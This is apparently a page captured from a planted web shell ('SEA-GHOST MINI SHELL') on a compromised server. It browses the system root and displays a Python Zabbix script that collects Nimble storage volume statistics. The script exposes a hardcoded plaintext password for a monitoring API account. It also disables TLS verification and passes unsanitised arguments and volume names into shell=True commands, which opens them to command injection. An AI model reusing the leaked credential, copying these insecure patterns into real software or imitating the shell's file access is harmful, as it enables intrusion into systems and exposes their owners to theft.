[ SEA-GHOST MINI SHELL]

Path : /proc/2/task/2/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/task/2/root/var/lib/zabbix/nimble_volumes_stats.py

#!/usr/bin/env python

import sys
import urllib2
import ssl
import socket
import json
import logging
import subprocess

logging.basicConfig(level=logging.DEBUG)


ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

tokenurl = "https://" + sys.argv[1] + ":5392/v1/tokens"
volumesurl = "https://" + sys.argv[1] + ":5392/v1/volumes/detail?fields=name,avg_stats_last_5mins"
zhostname = sys.argv[2]
zproxy = sys.argv[3]

def api_auth():
    req = urllib2.Request(
        tokenurl,
        data='{"data":{"password":"asd@#4sd3S#s3S!d56","username":"monitoring-ldap-read"}}',
        headers={'Content-type': 'application/json'}
    )
    try:
        response = urllib2.urlopen(req, context=ctx)
        result = response.read()
        return json.loads(result)['data']['session_token']
    except urllib2.HTTPError:
        print "Please check URL"
        sys.exit(1)
    except KeyError:
        print "Please check USER/PASS"
        sys.exit(1)

def nimble_req(token):
    req = urllib2.Request(
        volumesurl,
        headers={'X-Auth-Token': token }
    )
    try:
        response = urllib2.urlopen(req, context=ctx)
        result = response.read()
        return json.loads(result)['data']
    except urllib2.HTTPError:
        print "Please check URL"
        sys.exit(1)
    except KeyError:
        print "Please check USER/PASS"
        sys.exit(1)

def main():
    token = api_auth()
    nimble_raw = nimble_req(token)
    for volume in nimble_raw:
        volume_name = volume['name']
        combined_iops = volume['avg_stats_last_5mins']['combined_iops']
        combined_latency = volume['avg_stats_last_5mins']['combined_latency']
        combined_throughput = volume['avg_stats_last_5mins']['combined_throughput']
        read_iops = volume['avg_stats_last_5mins']['read_iops']
        read_latency = volume['avg_stats_last_5mins']['read_latency']
        read_throughput = volume['avg_stats_last_5mins']['read_throughput']
        write_iops = volume['avg_stats_last_5mins']['write_iops']
        write_latency = volume['avg_stats_last_5mins']['write_latency']
        write_throughput = volume['avg_stats_last_5mins']['write_throughput']

        combined_iops = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'CombinedIOps.[" + str(volume_name) + "]' -o " + str(combined_iops) + ""
        process = subprocess.Popen(combined_iops, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        combined_latency = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'CombinedLatency.[" + str(volume_name) + "]' -o " + str(combined_latency) + ""
        process = subprocess.Popen(combined_latency, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        combined_throughput = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'CombinedThroughput.[" + str(volume_name) + "]' -o " + str(combined_throughput) + ""
        process = subprocess.Popen(combined_throughput, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        read_iops = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'ReadIOps.[" + str(volume_name) + "]' -o " + str(read_iops) + ""
        process = subprocess.Popen(read_iops, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        read_latency = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'ReadLatency.[" + str(volume_name) + "]' -o " + str(read_latency) + ""
        process = subprocess.Popen(read_latency, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        read_throughput = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'ReadThroughput.[" + str(volume_name) + "]' -o " + str(read_throughput) + ""
        process = subprocess.Popen(read_throughput, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        write_iops = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'WriteIOps.[" + str(volume_name) + "]' -o " + str(write_iops) + ""
        process = subprocess.Popen(write_iops, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        write_latency = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'WriteLatency.[" + str(volume_name) + "]' -o " + str(write_latency) + ""
        process = subprocess.Popen(write_latency, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)
        write_throughput = "zabbix_sender -z " + str(zproxy) + " -s '" + str(zhostname) + "' -k 'WriteThroughput.[" + str(volume_name) + "]' -o " + str(write_throughput) + ""
        process = subprocess.Popen(write_throughput, stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)


if __name__ == "__main__":
    main()

SEA-GHOST - SHELL CODING BY SEA-GHOST